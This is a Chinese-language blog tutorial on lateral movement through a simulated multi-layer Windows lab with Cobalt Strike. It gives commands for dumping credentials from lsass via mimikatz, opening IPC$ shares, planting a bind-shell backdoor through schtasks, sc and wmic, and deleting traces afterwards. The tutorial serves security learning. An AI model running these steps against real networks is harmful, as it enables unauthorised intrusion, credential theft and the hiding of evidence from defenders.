CS內網橫向移動 模擬滲透實操 超詳細

2022-07-30 15:00:29

@Webkio

前言:

最近在跟朋友搞一些專案玩,所以最近沒怎麼更新內容
接下來我將在虛擬中模擬內網多層靶場,進行內網滲透實驗,超詳細,適合小白。
本文僅供網安學習,不可利用於未授權滲透工作中,否則後果自負。碼字截圖不易,轉載記得署名。

微信關注公眾號: JiuZhouSec 不定期更新滲透乾貨,適合小白學習。九州大地,一起Dayday UP!

模擬內網靶場 進行內網實驗 我將從以下幾點簡述:
【上線邊界機器】-【內網滲透】-【橫向移動】-【痕跡清除】
實驗碼字不易,轉載文章請署名

實驗物件

這邊基於之前的文章 對內網網路拓撲進行了新的設定:
工作站:Vmware workstation;Cobalt Strike 4.3
VPS:141.164.40.209
PC1 邊界機器:192.168.18.100[NAT];192.168.19.140[僅主機]
PC2 內網機器:192.168.19.142[僅主機 不出網] 192.168.20.129[僅主機 不出網]
PC3 內網機器:192.168.20.128[僅主機 不出網]
操作環境:Windows server 2008 R2 sp1

實驗環境須知:無殺軟 無攔截
此篇文章僅供 內網模擬攻擊 參考。駭客攻擊手法通常是建立在免殺繞過的方法上,滲透測試本身就是「逆天而行」的事情。模擬靶機,是為了更直觀的發現內網的薄弱點,深化網安價值。


IPC連線簡述(445埠共用連結)

IPC 共用命名管道,連線445埠,提供賬戶密碼後,可以進行預設檔案共用及資源管理
139 NetBIOS File and Print Sharing 通過這個埠進入的連線試圖獲得NetBIOS/SMB服務。

利用前提條件:
1. 開放139 445(SMB) 埠 (預設)
2. 目標開啟 IPC 共用服務 (預設)
3. 要有管理員賬戶密碼 (預設)

利用方法:

內建工具:IPC+schtasks(寫計劃任務上線beacon)

schtasks是Windows的網路計劃任務
這邊利用PC1與PC2簡歷的IPC連線 寫計劃任務上線內網機器PC2
利用Windows內建工具是可以儘量繞過殺軟,服務查殺的一種手法,僅供參考。

1. 讓PC1 邊界機器上線

CS建立監聽器

2. 生成一個後門 並利用漏洞上傳至邊界機器PC1 並執行



3. 觀察CS檢視表 PC1邊界機器上線

4. 獲取beacon後 進入 並重新整理對談時間 ---> sleep 0
5. 這裡可以上傳Fscan、或者利用CS 內建工具進行內網埠掃描操作

6. 這邊對192.168.19.0網段下139,445進行埠掃描

7. 這裡通過埠進行了埠存活探測 192.168.19.143的139 445開啟

8. 嘗試獲取目標邊界機器的明文密碼 (這一步能獲取的到就獲取 該實驗均是在上帝視角下進行)

部分運維人員的邊界機器與內網機器為了便於使用 登入密碼可能都是同一個密碼

9. 利用邊界機器PC1 建立與 PC2 192.168.19.143的IPC連線

  • shell net use \192.168.19.143 /user:administrator "admin@123"

  • 檢視已經建立的連線

在模擬環境下 PC2是不出網的 對於不出網的機器 我們可以採取正向shell的方式獲取shell

10. 在CS上建立正向監聽,建立一個後門通過PC1與PC2建立的IPC連線上傳後門程式並執行

上傳前的PC2 機器目錄下的檔案內容:shell dir \192.168.19.143\c$

建立正向監聽器: 這邊指定的埠 要記好 7228

建立一個無狀態的windows後門程式

11. 將在攻擊機(本機)上利用CS建立的正向後門上傳至PC1

12. 由IPC連線 通過PC1 上傳檔案至PC2 C槽下

shell dir

shell copy bind.exe \192.168.19.143\c$

13. 寫schtasks 計劃任務 執行bind.exe 建立計劃任務

shell schtasks /create /s 192.168.19.143 /sc MINUTE /tn test /tr "C:\bind.exe"
shell schtasks /create 192.168.19.143 /sc MINUTE /tn test /tr "C:\bind.exe"
指令剖析:
schtasks -指定schtask方法
/create -建立
/s -system許可權
/sc -指定建立的型別
/tn -指定計劃任務名
/tr -需要執行的程式或命令
/mo -指定程式或命令執行的時間間隔,單位為分鐘

因為是正向shell 需要攻擊機連線靶機 這裡只有PC1可以與PC2建立互動 故在PC1的beacon中建立與PC2的連線 執行如下:
connect 192.168.19.143 7228

PC2成功上線 這裡一個小細節 圖示後的連結圖示 即代表PC2是通過PC1建立的連線

進入beacon

這裡我們可以看到在PC2 【192.168.19.143】這臺主機下 還有一張192.168.20.132的網路卡 我們可以利用以上第五步介紹的方法進行埠探測 再嘗試利用PC2建立與PC3的IPC連線 通過PC2使PC3上線

提供步驟思路【就不截圖了 碼字有點手痠】:

  • 判斷PC3是否出網 埠掃描139,445埠是否開啟
  • 利用漏洞或其它方法獲取管理員賬戶密碼,或嘗試利用邊界機器PC1的密碼,前面有說過概念。
  • 建立PC2與PC3的IPC連線,打通機與機的聯絡。
  • 利用CS或其它手法【webshell管理工具】在PC2檔案管理中上傳前面建立的正向後門或重新建立一個新的後門程式。
  • 通過PC2上傳後門
  • 寫schtasks計劃任務,相關指令在上面,認真看的應該在實操了吧。
  • PC2連線PC3,connect [target_ip] 等待上線至CS
  • 打到PC3後還可以繼續埠掃描 檢視網路卡設定資訊
  • 橫向移動結束。

14. 痕跡清除 刪除計劃任務

這邊建立的計劃任務名是什麼要記好哦 /tn 指定計劃名 刪錯了就GG了
schtasks /delete /s 192.168.19.143 /tn test /f

內建工具:IPC+SC(services.msc服務控制器)

通過Windows服務的管理策略,建立新的服務,執行後門程式

  1. 內網滲透的第一步 永遠是先利用漏洞讓能出網的邊界機器 這裡是讓PC1【192.168.19.140】上線CS

  1. 通過埠掃描 探測存活IP 是否開啟139或445埠 這是建立IPC連線的前提

  1. logonpasswords 獲取明文密碼

這邊CS中的 logonpasswords 是通過存取本地安全認證子系統服務程序「lsass.exe」獲取明文密碼
logonpasswords的技術 通過呼叫 "mimikatz"實現

  1. 建立IPC連線

shell net use \192.168.19.142 /user:Administrator "admin@123"

  1. 通過CS的檔案管理器上傳正向shell至邊界機器

  1. 將bind.exe 通過PC1上傳至PC2中去

  1. 利用IPC連線 在PC1上為PC2 建立一個服務

shell sc \192.168.19.142 create kiotest binpath= 'C:\bind.exe'

這邊需要注意一點 SC等於號"=" 和 "值"之間要有空格 這邊好像是CS4.3版本的一個小bug
可以詳見截圖的細節。

這邊觀察PC2 kiotest這個程序已在不出網的PC2服務策略中生成

這裡通過sc qc [服務名] 可以檢視對應服務的詳細資訊
shell sc \192.168.19.142 qc kiotest

  1. 這邊建立的服務需要手動開啟 如下:

shell sc \192.168.19.142 kiotest
啟動192.168.19.142的kiotest 服務,其實就是讓服務去尋找C槽下的bind.exe並啟動

這裡因為是 圖文表述 具體效果 我們可以反覆實驗以 證明通過IPC連線去建立服務-啟動服務的一個過程。

  1. bind.exe成功執行後 通過PC1連線PC2 上線

connect 192.168.19.142 7228
生成的正向shell 和 反彈shell的埠都要做個記錄哦 因為這裡的實驗都是上帝視角,正常來說我們是不能直接看PC2的圖形化介面的。如果忘了埠 不就白打了嗎



細心的人應該發現了 上線的是一個192.168.20.0網段的機器。說明該網段下可能還存有PC3、PC4等等。
這裡類似於IPC+schtasks的方法 層層遞進的進行攻擊就好了,思路在上面也能看到

  1. 最後 痕跡清除

shell sc \192.168.19.142 delete [服務名]



內建工具:IPC+WMIC

WMIC是Windows的遠端管理控制器,通過遠端管理目標機器,可以直接在目標中進行一些操作
wmic和cmd一樣在所有的windows版本中都存在,同時wmic有很多cmd下不方便使用的部分

這邊wmic的方法同上 大同小異 方法多多益善

  1. 同樣讓邊界機器先上線,對邊界機器進行內網資訊收集,存活探測、設定資訊收集、憑據資訊等
  2. 通過憑據資訊、存活探測 系統設定 利用邊界機器建立與PC2機器的IPC連線
  3. 建立完IPC連線之後 我們可以利用wmic查詢遠端機器的程序資訊

shell wmic /node:192.168.19.142 process list brief

小技巧:wmic執行一些命令是沒有回顯結果的 我們可以通過將執行命令的結果寫入檔案 再檢視
shell wmic /node:192.168.19.142 process call create "cmd.exe /c ipconfig > C:\result.txt"

shell type \192.168.19.142\c$\result.txt

生成

  1. 通過邊界機器 建立正向後門並上傳至靶機(PC2)

監聽

後門

上傳語法:shell copy bind.exe \192.168.19.142\c$
當前目錄下進行上傳「bind.exe」 至 靶機的C槽下

  1. 通過wmic執行後門 並連線 上線PC2

執行:
shell wmic /node:192.168.19.142 process call create "C:bind.exe"

連線上線:
connect 192.168.19.142 7228

  1. 痕跡清除 結束程序 並 刪除執行程式
    利用PC2的beacon結束程序 , 即斷開
    利用IPC連線刪除執行程式
    shell del \192.168.19.142\C$\bind.exe

以下簡單的介紹兩種不常用的內建工具 winrs和WinRM 用法同上三種大同小異

內建工具:winrs(域)

要求:目標機器 5985埠開啟,如果沒有開,可以手動開啟(在滲透測試中不常用)
靶機手動開啟 winrm quickconfing -q 【! 網路狀態是家庭網路 或 工作網路 才能開啟】

內建工具:WinRM( 域 兩臺機器5985埠都要開啟)

在靶機手動開啟 winrm quickconfing -q
這兩種同是在邊界機器淪陷的基礎下,進行存活探測,建立IPC連線等,去進行橫向移動滲透測試的操作。

過幾天整理一篇外部工具的利用。如有錯誤不足,勞糾正,互相學習,共建網安!